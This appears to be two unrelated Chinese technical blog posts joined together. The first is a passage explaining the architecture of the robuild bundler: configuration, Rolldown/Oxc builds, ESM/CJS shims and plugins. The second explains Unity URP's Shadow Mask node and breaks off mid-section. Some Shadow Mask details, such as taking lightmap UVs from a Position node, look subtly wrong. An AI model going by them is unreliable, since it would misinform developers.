for (const element of pattern.elements) {
if (element) {
if (element.type === 'RestElement') {
this.declarePattern(element.argument, kind)
} else {
this.declarePattern(element, kind)
}
}
}
break
case 'AssignmentPattern':
this.declarePattern(pattern.left, kind)
break
case 'RestElement':
this.declarePattern(pattern.argument, kind)
break
}
}
/**
* 记录变量引用
*/
recordReference(name, path) {
// 从当前作用域向上查找绑定
let scope = this.currentScope
while (scope) {
const binding = scope.bindings.get(name)
if (binding) {
binding.references.push(path)
binding.isUsed = true
scope.stats.references++
return
}
scope = scope.parent
}
// 未找到绑定,是全局变量引用
this.currentScope.references.push({
name,
path,
isGlobal: true
})
}
/**
* 判断 Identifier 是否为引用(而非声明)
*/
isReference(path) {
const parent = path.parent
const node = path.node
// 声明的左侧
if (parent.type === 'VariableDeclarator' && parent.id === node) {
return false
}
// 函数声明名称
if (parent.type === 'FunctionDeclaration' && parent.id === node) {
return false
}
// 类声明名称
if (parent.type === 'ClassDeclaration' && parent.id === node) {
return false
}
// 对象属性键(非计算属性)
if (parent.type === 'Property' && parent.key === node && !parent.computed) {
return false
}
// 对象方法名
if (parent.type === 'MethodDefinition' && parent.key === node && !parent.computed) {
return false
}
// 成员访问的属性(非计算)
if (parent.type === 'MemberExpression' && parent.property === node && !parent.computed) {
return false
}
// import 语句中的导入名
if (parent.type === 'ImportSpecifier' && parent.imported === node) {
return false
}
// export 语句中的导出名
if (parent.type === 'ExportSpecifier' && parent.exported === node) {
return false
}
return true
}
/**
* 查找最近的函数作用域
*/
findFunctionScope() {
let scope = this.currentScope
while (scope && scope.type === 'block') {
scope = scope.parent
}
return scope || this.currentScope
}
/**
* 检查块是否包含块级作用域声明
*/
hasBlockScopedDeclarations(block) {
for (const stmt of block.body) {
if (stmt.type === 'VariableDeclaration' &&
(stmt.kind === 'let' || stmt.kind === 'const')) {
return true
}
}
return false
}
/**
* 获取未使用的绑定
*/
getUnusedBindings() {
const unused = []
for (const scope of this.scopes) {
for (const [name, binding] of scope.bindings) {
if (!binding.isUsed && !binding.isExported) {
unused.push({
name,
kind: binding.kind,
scope: scope.type,
loc: binding.node?.loc
})
}
}
}
return unused
}
}
第三章:robuild 完整架构设计
![]()
了解了 Bundler 的基本原理后,让我们深入 robuild 的架构设计。
3.1 核心设计原则
robuild 的设计遵循以下原则:
- 零配置优先:默认配置应该覆盖 90% 的使用场景
- 渐进式复杂度:简单任务简单做,复杂任务可配置
- 兼容性:支持 tsup 和 unbuild 的配置风格
- 性能:利用 Rust 工具链的性能优势
- 可扩展:插件系统支持自定义逻辑
3.2 架构总览
┌──────────────────────────────────────────────────────────────────┐
│ CLI Layer │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ cac(命令行解析)→ c12(配置加载)→ build() │ │
│ └─────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────────────┐
│ Config Layer │
│ ┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐ │
│ │ normalizeTsup │ │ inheritConfig │ │ resolveExternal │ │
│ │ Config() │→│ () │→│ Config() │ │
│ └─────────────────┘ └─────────────────┘ └─────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────────────┐
│ Build Layer │
│ ┌─────────────────────────────┐ ┌─────────────────────────┐ │
│ │ rolldownBuild() │ │ transformDir() │ │
│ │ ┌─────────────────────┐ │ │ ┌─────────────────┐ │ │
│ │ │ Rolldown + DTS Plugin│ │ │ │ Oxc Transform │ │ │
│ │ └─────────────────────┘ │ │ └─────────────────┘ │ │
│ └─────────────────────────────┘ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────────────┐
│ Plugin Layer │
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
│ │ Shims │ │ Shebang │ │ Node │ │ Glob │ │
│ │ Plugin │ │ Plugin │ │ Protocol │ │ Import │ │
│ └───────────┘ └───────────┘ └───────────┘ └───────────┘ │
└──────────────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────────────┐
│ Transform Layer │
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
│ │ Banner │ │ Clean │ │ Copy │ │ Exports │ │
│ │ Footer │ │ Output │ │ Files │ │ Generate │ │
│ └───────────┘ └───────────┘ └───────────┘ └───────────┘ │
└──────────────────────────────────────────────────────────────────┘
3.3 构建流程详解
robuild 的构建流程分为以下阶段:
build() 入口
│
┌──────────────┴──────────────┐
↓ ↓
normalizeTsupConfig() performWatchBuild()
(标准化配置格式) (Watch 模式)
│
↓
inheritConfig()
(配置继承)
│
↓
┌──────┴──────┐
│ entries │
│ 遍历 │
└──────┬──────┘
│
┌──────┴──────┬──────────────┐
↓ ↓ ↓
Bundle Transform 其他类型
Entry Entry ...
│ │
↓ ↓
rolldownBuild transformDir
│ │
└──────┬──────┘
↓
generateExports()
(生成 package.json exports)
│
↓
executeOnSuccess()
(执行回调)
让我们深入关键环节:
3.3.1 配置标准化
robuild 支持两种配置风格:
// tsup 风格(flat config)
export default {
entry: ['./src/index.ts'],
format: ['esm', 'cjs'],
dts: true
}
// unbuild 风格(entries-based)
export default {
entries: [
{ type: 'bundle', input: './src/index.ts', format: ['esm', 'cjs'] },
{ type: 'transform', input: './src/' }
]
}
配置标准化的核心代码:
// src/build.ts
function normalizeTsupConfig(config: BuildConfig): BuildConfig {
// 如果已经有 entries,直接返回
if (config.entries && config.entries.length > 0) {
return config
}
// 将 tsup 风格的 entry 转换为 entries
if (config.entry) {
const entry: BundleEntry = inheritConfig(
{
type: 'bundle' as const,
entry: config.entry,
},
config,
{ name: 'globalName' } // 字段映射
)
return { ...config, entries: [entry] }
}
return config
}
3.3.2 配置继承
顶层配置需要向下传递给每个 entry:
const SHARED_CONFIG_FIELDS = [
'format', 'outDir', 'platform', 'target', 'minify',
'dts', 'splitting', 'treeshake', 'sourcemap',
'external', 'noExternal', 'env', 'alias', 'banner',
'footer', 'shims', 'rolldown', 'loaders', 'clean'
] as const
function inheritConfig<T extends Partial<BuildEntry>>(
entry: T,
config: BuildConfig,
additionalMappings?: Record<string, string>
): T {
const result: any = { ...entry }
// 只继承未定义的字段
for (const field of SHARED_CONFIG_FIELDS) {
if (result[field] === undefined && config[field] !== undefined) {
result[field] = config[field]
}
}
// 处理字段映射(如 name -> globalName)
if (additionalMappings) {
for (const [configKey, entryKey] of Object.entries(additionalMappings)) {
if (result[entryKey] === undefined) {
result[entryKey] = (config as any)[configKey]
}
}
}
return result
}
3.3.3 并行构建
所有 entries 并行构建,提升性能:
await Promise.all(
entries.map(entry =>
entry.type === 'bundle'
? rolldownBuild(ctx, entry, hooks, config)
: transformDir(ctx, entry)
)
)
3.4 Bundle Builder 实现
Bundle Builder 是 robuild 的核心,它封装了 Rolldown 的调用:
// src/builders/bundle.ts
export async function rolldownBuild(
ctx: BuildContext,
entry: BundleEntry,
hooks: BuildHooks,
config?: BuildConfig
): Promise<void> {
// 1. 初始化插件管理器
const pluginManager = new RobuildPluginManager(config || {}, entry, ctx.pkgDir)
await pluginManager.initializeRobuildHooks()
// 2. 解析配置
const formats = Array.isArray(entry.format) ? entry.format : [entry.format || 'es']
const platform = entry.platform || 'node'
const target = entry.target || 'es2022'
// 3. 清理输出目录
await cleanOutputDir(ctx.pkgDir, fullOutDir, entry.clean ?? true)
// 4. 处理外部依赖
const externalConfig = resolveExternalConfig(ctx, {
external: entry.external,
noExternal: entry.noExternal
})
// 5. 构建插件列表
const rolldownPlugins: Plugin[] = [
shebangPlugin(),
nodeProtocolPlugin(entry.nodeProtocol || false),
// ... 其他插件
]
// 6. 构建 Rolldown 配置
const baseRolldownConfig: InputOptions = {
cwd: ctx.pkgDir,
input: inputs,
plugins: rolldownPlugins,
platform: platform === 'node' ? 'node' : 'neutral',
external: externalConfig,
resolve: { alias: entry.alias || {} },
transform: { target, define: defineOptions }
}
// 7. 所有格式并行构建
const formatResults = await Promise.all(formats.map(buildFormat))
// 8. 执行构建结束钩子
await pluginManager.executeRobuildBuildEnd({ allOutputEntries })
}
关键设计点:
多格式构建:ESM、CJS、IIFE 等格式同时构建,通过不同的文件扩展名避免冲突:
const buildFormat = async (format: ModuleFormat) => {
let entryFileName = `[name]${extension}`
if (isMultiFormat) {
// 多格式构建时使用明确的扩展名
if (format === 'cjs') entryFileName = `[name].cjs`
else if (format === 'esm') entryFileName = `[name].mjs`
else if (format === 'iife') entryFileName = `[name].js`
}
const res = await rolldown(formatConfig)
await res.write(outConfig)
await res.close()
}
DTS 生成策略:只在 ESM 格式下生成类型声明,避免冲突:
if (entry.dts !== false && format === 'esm') {
formatConfig.plugins = [
...plugins,
dts({ cwd: ctx.pkgDir, ...entry.dts })
]
}
3.5 Transform Builder 实现
Transform Builder 用于不打包的场景,保持目录结构:
// src/builders/transform.ts
export async function transformDir(
ctx: BuildContext,
entry: TransformEntry
): Promise<void> {
// 获取所有源文件
const files = await glob('**/*.*', { cwd: inputDir })
const promises = files.map(async (entryName) => {
const ext = extname(entryPath)
switch (ext) {
case '.ts':
case '.tsx':
case '.jsx': {
// 使用 Oxc 转换
const transformed = await transformModule(entryPath, entry)
await writeFile(entryDistPath, transformed.code, 'utf8')
// 生成类型声明
if (transformed.declaration) {
await writeFile(dtsPath, transformed.declaration, 'utf8')
}
break
}
default:
// 其他文件直接复制
await copyFile(entryPath, entryDistPath)
}
})
await Promise.all(promises)
}
单文件转换使用 Oxc:
async function transformModule(entryPath: string, entry: TransformEntry) {
const sourceText = await readFile(entryPath, 'utf8')
// 1. 解析 AST
const parsed = parseSync(entryPath, sourceText, {
lang: ext === '.tsx' ? 'tsx' : 'ts',
sourceType: 'module'
})
// 2. 重写相对导入(使用 MagicString 保持 sourcemap 兼容)
const magicString = new MagicString(sourceText)
for (const staticImport of parsed.module.staticImports) {
// 将 .ts 导入重写为 .mjs
rewriteSpecifier(staticImport.moduleRequest)
}
// 3. Oxc 转换
const transformed = await transform(entryPath, magicString.toString(), {
target: entry.target || 'es2022',
sourcemap: !!entry.sourcemap,
typescript: {
declaration: { stripInternal: true }
}
})
// 4. 可选压缩
if (entry.minify) {
const res = await minify(entryPath, transformed.code, entry.minify)
transformed.code = res.code
}
return transformed
}
第四章:ESM/CJS 互操作处理
ESM 和 CJS 的互操作是库构建中最复杂的问题之一。让我详细解释 robuild 是如何处理的。
4.1 问题背景
ESM 和 CJS 有根本性的差异:
| 特性 | ESM | CJS |
|---|---|---|
| 加载时机 | 静态(编译时) | 动态(运行时) |
| 导出方式 | 具名绑定 |
module.exports 对象 |
| this 值 | undefined | module |
| __dirname | 不可用 | 可用 |
| require | 不可用 | 可用 |
| 顶层 await | 支持 | 不支持 |
4.2 Shims 插件设计
robuild 通过 Shims 插件解决兼容问题:
// ESM 中使用 CJS 特性时的 shim
const NODE_GLOBALS_SHIM = `
// Node.js globals shim for ESM
import { fileURLToPath } from 'node:url'
import { dirname } from 'node:path'
import { createRequire } from 'node:module'
const __filename = fileURLToPath(import.meta.url)
const __dirname = dirname(__filename)
const require = createRequire(import.meta.url)
`
// 浏览器环境的 process.env shim
const PROCESS_ENV_SHIM = `
if (typeof process === 'undefined') {
globalThis.process = {
env: {},
platform: 'browser',
version: '0.0.0'
}
}
`
// module.exports shim
const MODULE_EXPORTS_SHIM = `
if (typeof module === 'undefined') {
globalThis.module = { exports: {} }
}
if (typeof exports === 'undefined') {
globalThis.exports = module.exports
}
`
关键是检测需要哪些 shim:
function detectShimNeeds(code: string) {
// 移除注释和字符串,避免误判
const cleanCode = removeCommentsAndStrings(code)
return {
needsDirname: /\b__dirname\b/.test(cleanCode) ||
/\b__filename\b/.test(cleanCode),
needsRequire: /\brequire\s*\(/.test(cleanCode),
needsExports: /\bmodule\.exports\b/.test(cleanCode) ||
/\bexports\.\w+/.test(cleanCode),
needsEnv: /\bprocess\.env\b/.test(cleanCode)
}
}
function removeCommentsAndStrings(code: string): string {
return code
// 移除单行注释
.replace(/\/\/.*$/gm, '')
// 移除多行注释
.replace(/\/\*[\s\S]*?\*\//g, '')
// 移除字符串字面量
.replace(/"(?:[^"\\]|\\.)*"/g, '""')
.replace(/'(?:[^'\\]|\\.)*'/g, "''")
.replace(/`(?:[^`\\]|\\.)*`/g, '``')
}
4.3 平台特定配置
不同平台需要不同的 shim 策略:
function getPlatformShimsConfig(platform: 'browser' | 'node' | 'neutral') {
switch (platform) {
case 'browser':
return {
dirname: false, // 浏览器不支持
require: false, // 浏览器不支持
exports: false, // 浏览器不支持
env: true // 需要 polyfill
}
case 'node':
return {
dirname: true, // 转换为 ESM 等价写法
require: true, // 使用 createRequire
exports: true, // 转换为 ESM export
env: false // 原生支持
}
case 'neutral':
return {
dirname: false,
require: false,
exports: false,
env: false
}
}
}
4.4 Dual Package 支持
对于同时支持 ESM 和 CJS 的包,robuild 自动生成正确的 exports 字段:
// 输入配置
{
entries: [{
type: 'bundle',
input: './src/index.ts',
format: ['esm', 'cjs'],
generateExports: true
}]
}
// 生成的 package.json exports
{
"exports": {
".": {
"types": "./dist/index.d.mts", // TypeScript 优先
"import": "./dist/index.mjs", // ESM
"require": "./dist/index.cjs" // CJS
}
}
}
顺序很重要:types 必须在最前面,这是 TypeScript 的要求。
第五章:插件系统设计哲学
5.1 设计目标
robuild 的插件系统需要满足:
- 兼容性:支持 Rolldown、Rollup、Vite、Unplugin 插件
- 简洁性:简单需求不需要复杂配置
- 可组合:多个插件可以组合成一个
- 生命周期明确:robuild 特有的钩子
5.2 插件类型检测
robuild 自动识别插件类型:
class RobuildPluginManager {
private normalizePlugin(pluginOption: RobuildPluginOption): RobuildPlugin {
// 工厂函数
if (typeof pluginOption === 'function') {
return this.normalizePlugin(pluginOption())
}
// 类型检测优先级
if (this.isRobuildPlugin(pluginOption)) return pluginOption
if (this.isRolldownPlugin(pluginOption)) return this.adaptRolldownPlugin(pluginOption)
if (this.isVitePlugin(pluginOption)) return this.adaptVitePlugin(pluginOption)
if (this.isUnplugin(pluginOption)) return this.adaptUnplugin(pluginOption)
// 兜底:当作 Rolldown 插件
return this.adaptRolldownPlugin(pluginOption)
}
// Robuild 插件:有 robuild 特有钩子或标记
private isRobuildPlugin(plugin: any): plugin is RobuildPlugin {
return plugin.meta?.robuild === true
|| plugin.robuildSetup
|| plugin.robuildBuildStart
|| plugin.robuildBuildEnd
}
// Rolldown/Rollup 插件:有标准钩子
private isRolldownPlugin(plugin: any): plugin is RolldownPlugin {
return plugin.name && (
plugin.buildStart || plugin.buildEnd ||
plugin.resolveId || plugin.load || plugin.transform ||
plugin.generateBundle || plugin.writeBundle
)
}
// Vite 插件:有 Vite 特有钩子
private isVitePlugin(plugin: any): boolean {
return plugin.config || plugin.configResolved ||
plugin.configureServer || plugin.meta?.vite === true
}
}
5.3 Robuild 特有钩子
除了 Rolldown 标准钩子,robuild 添加了三个生命周期钩子:
interface RobuildPlugin extends RolldownPlugin {
// 插件初始化时调用
robuildSetup?: (ctx: RobuildPluginContext) => void | Promise<void>
// 构建开始时调用
robuildBuildStart?: (ctx: RobuildPluginContext) => void | Promise<void>
// 构建结束时调用,可以访问所有输出
robuildBuildEnd?: (ctx: RobuildPluginContext, result?: any) => void | Promise<void>
}
interface RobuildPluginContext {
config: BuildConfig
entry: BuildEntry
pkgDir: string
outDir: string
format: ModuleFormat | ModuleFormat[]
platform: Platform
target: Target
}
5.4 插件工厂模式
robuild 提供工厂函数简化插件创建:
// 创建简单的 transform 插件
function createTransformPlugin(
name: string,
transform: (code: string, id: string) => string | null,
filter?: (id: string) => boolean
): RobuildPlugin {
return {
name,
meta: { robuild: true },
transform: async (code, id) => {
if (filter && !filter(id)) return null
return transform(code, id)
}
}
}
// 使用示例
const myPlugin = createTransformPlugin(
'add-banner',
(code) => `/* My Library */\n${code}`,
(id) => /\.js$/.test(id)
)
组合多个插件:
function combinePlugins(name: string, plugins: RobuildPlugin[]): RobuildPlugin {
const combined: RobuildPlugin = { name, meta: { robuild: true } }
for (const plugin of plugins) {
// 链式组合 transform 钩子
if (plugin.transform) {
const prevHook = combined.transform
combined.transform = async (code, id) => {
let currentCode = code
if (prevHook) {
const result = await prevHook(currentCode, id)
if (result) {
currentCode = typeof result === 'string' ? result : result.code
}
}
return plugin.transform!(currentCode, id)
}
}
// 其他钩子类似处理...
}
return combined
}
第六章:性能优化策略
6.1 为什么 Rust 更快?
robuild 使用的 Rolldown 和 Oxc 都是 Rust 实现的。Rust 带来的性能优势主要来自:
1. 零成本抽象
Rust 的泛型和 trait 在编译时单态化,没有运行时开销:
// Rust: 编译时展开,没有虚函数调用
fn process<T: Transform>(input: T) -> String {
input.transform()
}
// 等价于为每个具体类型生成特化版本
fn process_for_type_a(input: TypeA) -> String { ... }
fn process_for_type_b(input: TypeB) -> String { ... }
2. 无 GC 暂停
JavaScript 的垃圾回收会导致不可预测的暂停。Rust 通过所有权系统在编译时确定内存释放时机:
// Rust: 编译器自动插入内存释放
{
let ast = parse(source); // 分配内存
let result = transform(ast);
// ast 在这里自动释放,无需 GC
}
3. 数据局部性
Rust 鼓励使用栈分配和连续内存,对 CPU 缓存更友好:
// 连续内存布局
struct Token {
kind: TokenKind,
start: u32,
end: u32,
}
let tokens: Vec<Token> = tokenize(source);
// tokens 在连续内存中,缓存命中率高
4. 真正的并行
Rust 的类型系统保证线程安全,可以放心使用多核:
use rayon::prelude::*;
// 多个文件并行解析
let results: Vec<_> = files
.par_iter() // 并行迭代
.map(|file| parse(file))
.collect();
6.2 robuild 的并行策略
robuild 在多个层面实现并行:
Entry 级并行:所有 entry 同时构建
await Promise.all(
entries.map(entry =>
entry.type === 'bundle'
? rolldownBuild(ctx, entry, hooks, config)
: transformDir(ctx, entry)
)
)
Format 级并行:ESM、CJS 等格式同时生成
const formatResults = await Promise.all(formats.map(buildFormat))
文件级并行:Transform 模式下所有文件同时处理
const writtenFiles = await Promise.all(promises)
6.3 缓存策略
robuild 在应用层做了一些优化:
依赖缓存:解析结果缓存
// 依赖解析缓存
const depsCache = new Map<OutputChunk, Set<string>>()
const resolveDeps = (chunk: OutputChunk): string[] => {
if (!depsCache.has(chunk)) {
depsCache.set(chunk, new Set<string>())
}
const deps = depsCache.get(chunk)!
// ... 递归解析
return Array.from(deps).sort()
}
外部模块判断缓存:避免重复的包信息读取
// 一次性构建外部依赖列表
const externalDeps = buildExternalDeps(ctx.pkg)
// 后续直接查表判断
第七章:为什么选择 Rust + JS 混合架构
7.1 架构选择的权衡
robuild 采用 Rust + JavaScript 混合架构。这个选择背后有深思熟虑的权衡:
为什么不是纯 Rust?
- 生态兼容性:npm 生态的插件都是 JavaScript,纯 Rust 无法复用
- 配置灵活性:JavaScript 配置文件可以动态计算、条件判断
- 开发效率:Rust 开发周期长,不利于快速迭代
- 用户学习成本:用户不需要学习 Rust 就能写插件
为什么不是纯 JavaScript?
- 性能瓶颈:AST 解析、转换、压缩都是 CPU 密集型任务
- 内存效率:大型项目的 AST 占用大量内存
- 并行能力:JavaScript 单线程无法利用多核
最佳策略:计算密集型用 Rust,胶水层用 JavaScript
┌─────────────────────────────────────────────────────────────┐
│ JavaScript 层 │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ 配置加载、CLI、插件管理、构建编排、输出处理 │ │
│ └───────────────────────────────────────────────────────┘ │
│ │ │
│ NAPI 绑定 │
│ │ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Rust 层(计算密集型) │ │
│ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │
│ │ │ Parser │ │Transform│ │ Bundler │ │ Minifier│ │ │
│ │ │ (Oxc) │ │ (Oxc) │ │(Rolldown)│ │ (Oxc) │ │ │
│ │ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
7.2 NAPI 绑定的成本
Rust 和 JavaScript 之间通过 NAPI(Node-API)通信。这有一定开销:
- 数据序列化:JavaScript 对象转换为 Rust 结构
- 跨边界调用:每次调用有固定开销
- 字符串复制:UTF-8 字符串需要复制
因此,robuild 的设计原则是减少跨边界调用次数:
// 好的做法:一次调用完成整个解析
const parsed = parseSync(filePath, sourceText, options)
// 不好的做法:多次调用
const ast = parse(source)
const imports = extractImports(ast) // 又一次跨边界
const exports = extractExports(ast) // 又一次跨边界
7.3 与 Vite 生态的协同
robuild 的架构设计与 Vite 生态高度契合:
- Rolldown 是 Vite 的未来打包器:API 兼容 Rollup,便于迁移
- 插件复用:Vite 插件可以直接在 robuild 中使用
- 配置兼容:支持从 vite.config.ts 导入配置
// robuild 可以加载 Vite 配置
export default {
fromVite: true, // 启用 Vite 配置加载
// robuild 特有配置可以覆盖
entries: [...]
}
第八章:实战案例与最佳实践
8.1 最简配置
对于标准的 TypeScript 库,零配置即可工作:
// build.config.ts
export default {}
// 等价于
export default {
entries: [{
type: 'bundle',
input: './src/index.ts',
format: ['esm'],
dts: true
}]
}
8.2 多入口 + 多格式
// build.config.ts
export default {
entries: [
{
type: 'bundle',
input: {
index: './src/index.ts',
cli: './src/cli.ts'
},
format: ['esm', 'cjs'],
dts: true,
generateExports: true
}
],
exports: {
enabled: true,
autoUpdate: true
}
}
8.3 带 shims 的 Node.js 工具
// build.config.ts
export default {
entries: [{
type: 'bundle',
input: './src/index.ts',
format: ['esm'],
platform: 'node',
shims: {
dirname: true, // __dirname, __filename
require: true // require()
},
banner: '#!/usr/bin/env node'
}]
}
8.4 浏览器库 + UMD
// build.config.ts
export default {
entries: [{
type: 'bundle',
input: './src/index.ts',
format: ['esm', 'umd'],
platform: 'browser',
globalName: 'MyLib',
minify: true,
shims: {
env: true // process.env polyfill
}
}]
}
8.5 Monorepo 内部包
// build.config.ts
export default {
entries: [{
type: 'bundle',
input: './src/index.ts',
format: ['esm'],
dts: true,
noExternal: [
'@myorg/utils', // 打包内部依赖
'@myorg/shared'
]
}]
}
结语:构建工具的未来
回顾构建工具的三次革命:
- Webpack 时代:解决了"如何打包复杂应用"
- Rollup 时代:解决了"如何打包高质量的库"
- Rust Bundler 时代:解决了"如何更快地完成这一切"
robuild 是这场革命的参与者。它基于 Rolldown + Oxc 的 Rust 基础设施,专注于库构建场景,追求零配置、高性能、与现有生态兼容。
但构建工具的演进远未结束。我们可以期待:
- 更深的编译器集成:bundler 与类型检查器、代码检查器的融合
- 更智能的优化:基于运行时 profile 的优化决策
- 更好的开发体验:更快的 HMR、更精准的错误提示
- WebAssembly 的普及:让 Rust 工具链在浏览器中运行
构建工具的本质是将开发者的代码高效地转换为运行时需要的形态。技术在变,这个目标不变。作为工具开发者,我们的使命是让这个过程尽可能无感、高效、可靠。
感谢阅读。如果你对 robuild 感兴趣,欢迎查看 项目仓库。
本文约 10000 字,涵盖了构建工具演进、bundler 核心原理(含完整 mini bundler 代码)、robuild 架构设计、ESM/CJS 互操作、插件系统、性能优化等主题。如有技术问题,欢迎讨论交流。
参考资料:
【节点】[ShadowMask节点]原理解析与实际应用
Shadow Mask 节点是 Unity URP Shader Graph 中一个重要的光照处理节点,专门用于获取烘焙后的 ShadowMask 信息。在实时渲染和烘焙光照结合的场景中,Shadow Mask 技术发挥着关键作用,它允许开发者在保持高性能的同时实现高质量的阴影效果。通过将静态阴影信息预计算并存储在纹理中,Shadow Mask 节点能够在运行时高效地应用这些预计算数据,为场景提供逼真的阴影交互。
Shadow Mask 节点的核心功能是输出一个包含四个灯光 shadowmask 信息的数据结构,每个通道分别对应不同灯光的阴影遮蔽数据。这种四通道的输出结构使得开发者能够同时处理多个光源的阴影信息,为复杂光照场景的渲染提供了便利。在 URP 渲染管线中,Shadow Mask 节点是实现高质量静态阴影的关键工具,特别适合需要平衡性能与视觉效果的项目。
描述
Shadow Mask 节点的主要作用是获取场景中烘焙后的 ShadowMask 信息。在 Unity 的光照烘焙系统中,静态物体的阴影信息可以被预计算并存储在特定的纹理中,这些纹理就是 ShadowMask。Shadow Mask 节点允许着色器在运行时访问这些预计算的阴影数据,从而实现高效的阴影渲染。
Shadow Mask 技术的核心优势在于其性能优化能力。通过将耗实的实时阴影计算转换为纹理采样操作,显著降低了 GPU 的计算负担。这对于移动设备或性能受限的平台尤为重要。Shadow Mask 节点输出的数据结构包含四个灯光的 shadowmask 信息,每个通道(R、G、B、A)分别对应一个特定灯光的阴影遮蔽数据。这种设计使得单个节点能够处理多个光源的阴影信息,提高了着色器的效率。
在实际应用中,Shadow Mask 节点通常与光照贴图(Lightmap)系统配合使用。当场景中的静态物体被标记为参与光照烘焙时,Unity 会生成包含阴影信息的 ShadowMask 纹理。Shader Graph 中的 Shadow Mask 节点通过采样这些纹理,为材质提供准确的阴影数据。这种机制确保了静态物体能够呈现出与动态物体相协调的阴影效果,同时保持渲染性能。
Shadow Mask 节点的一个重要特性是其输出的阴影数据是经过预计算的,这意味着阴影的质量和精度在烘焙阶段就已经确定。因此,在使用 Shadow Mask 节点时,开发者需要确保光照烘焙的质量设置能够满足项目的视觉需求。高质量的烘焙设置会产生更精确的阴影边缘和更自然的阴影过渡,而低质量的设置可能会导致阴影出现锯齿或模糊。
支持的渲染管线
- 通用渲染管线(Universal Render Pipeline)
高清渲染管线(High Definition Render Pipeline)不支持此节点。这是因为不同的渲染管线采用了不同的阴影处理架构和光照系统。URP 作为轻量级的渲染管线,其 Shadow Mask 实现更加注重性能和移动设备的兼容性,而 HDRP 则使用了更复杂的阴影系统,如屏幕空间阴影和光线追踪阴影,因此不需要传统的 Shadow Mask 节点。
URP 中的 Shadow Mask 节点是专门为该渲染管线的光照系统设计的,它与 URP 的光照烘焙流程紧密集成。开发者在使用此节点时,需要确保项目使用的是 URP 模板,并且光照设置正确配置了 ShadowMask 模式。如果项目从内置渲染管线或其他渲染管线迁移而来,可能需要重新配置光照设置才能正确使用 Shadow Mask 节点。
端口
![]()
Shadow Mask 节点包含两个主要端口:一个输入端口和一个输出端口。这些端口定义了节点与其他着色器节点的数据流,理解每个端口的功能对于正确使用 Shadow Mask 节点至关重要。
| 名称 | 方向 | 类型 | 绑定 | 描述 |
|---|---|---|---|---|
| Lightmap UV | 输入 | Vector 2 | 无 | 输入光照贴图的 UV 坐标 |
| Out | 输出 | Vector 4 | 无 | 输出包含四个灯光的 shadowmask 信息(RGBA 通道) |
Lightmap UV 输入端口
Lightmap UV 输入端口接收 Vector 2 类型的数据,表示光照贴图的 UV 坐标。这些坐标用于在 ShadowMask 纹理中进行采样,以获取对应位置的阴影信息。光照贴图 UV 通常由网格的第二个 UV 通道提供,这个通道专门用于光照贴图和 ShadowMask 的映射。
在使用 Lightmap UV 输入端口时,开发者需要注意以下几点:
- UV 坐标必须正确对应到光照贴图的空间。如果 UV 坐标不正确,可能会导致阴影采样位置错误,出现阴影错位或缺失的问题。
- 对于动态生成的或程序化创建的网格,需要确保其包含有效的第二套 UV 坐标,否则 Shadow Mask 节点将无法正常工作。
- 在某些情况下,开发者可能需要使用 UV 变换节点对光照贴图 UV 进行调整,以解决 UV 拉伸或扭曲问题。
Lightmap UV 输入端口的典型连接方式是从顶点着色器获取第二套 UV 坐标,或者使用特定的 UV 节点生成。在 Shader Graph 中,可以通过 Position 节点或 Sample Texture 2D 节点的 UV 输出来获取光照贴图 UV。
Out 输出端口
Out 输出端口产生 Vector 4 类型的数据,包含四个通道的 shadowmask 信息。每个通道对应一个特定灯光的阴影遮蔽数据:
- R 通道:通常对应场景中的第一个重要灯光的阴影信息
- G 通道:对应第二个重要灯光的阴影信息
- B 通道:对应第三个重要灯光的阴影信息
- A 通道:对应第四个重要灯光的阴影信息
输出的 shadowmask 数据表示对应位置受到各光源阴影影响的程度。数值为 1 表示完全不受阴影影响(完全照亮),数值为 0 表示完全处于阴影中,中间值则表示部分阴影状态。
在实际使用中,开发者需要了解场景中灯光的重要性排序,以正确解释各通道对应的光源。Unity 通常会根据灯光的强度和距离等因素自动确定灯光的重要性顺序。如果需要精确控制,可以在光照设置中进行调整。
注意事项
- 输出的数据结构包含四个灯光的 shadowmask,每个通道分别表示不同灯光的阴影信息(R、G、B、A 通道)。这意味着单个 Shadow Mask 节点最多可以处理四个光源的阴影数据。如果场景中包含超过四个光源,额外的光源可能不会包含在 ShadowMask 中,或者需要使用其他技术处理。
- 适用于光照烘焙后的场景,结合此节点的输出可有效优化阴影计算和渲染性能。Shadow Mask 节点依赖于正确完成的光照烘焙过程。在使用此节点前,需要确保场景已经进行了适当的光照烘焙,并且静态物体正确标记了参与 ShadowMask 生成。
- Shadow Mask 节点只处理静态阴影信息,对于动态物体的阴影,仍然需要实时阴影技术。这意味着在同一个场景中,可能需要结合使用 Shadow Mask 和实时阴影来实现完整的阴影效果。
- Shadow Mask 的质量直接受光照烘焙设置的影响。低质量的烘焙设置可能导致阴影边缘锯齿或精度不足,而高质量的设置则会产生更自然的阴影过渡。
- 在移动设备上使用 Shadow Mask 节点时,需要注意纹理采样次数和内存占用。过多的 ShadowMask 纹理可能会影响性能,因此需要合理规划场景的光照复杂度。
Shadow Mask 节点的实际应用
Shadow Mask 节点在游戏开发中有多种应用场景,理解这些应用场景有助于开发者更好地利用这一技术。
静态场景阴影渲染
在大型开放世界或复杂室内场景中,静态物体的阴影可以通过 Shadow Mask 节点高效渲染。与实时阴影相比,这种方法显著降低了性能开销,同时保持了高质量的阴影效果。通过将静态阴影预计算并存储在纹理中,GPU 只需进行简单的纹理采样操作,而不需要执行复杂的阴影计算。
在实际实现中,开发者可以将 Shadow Mask 节点的输出与主纹理颜色相乘,从而将阴影效果应用到材质上。这种技术特别适合地面、墙壁和其他静态环境元素的阴影渲染。
混合光照场景
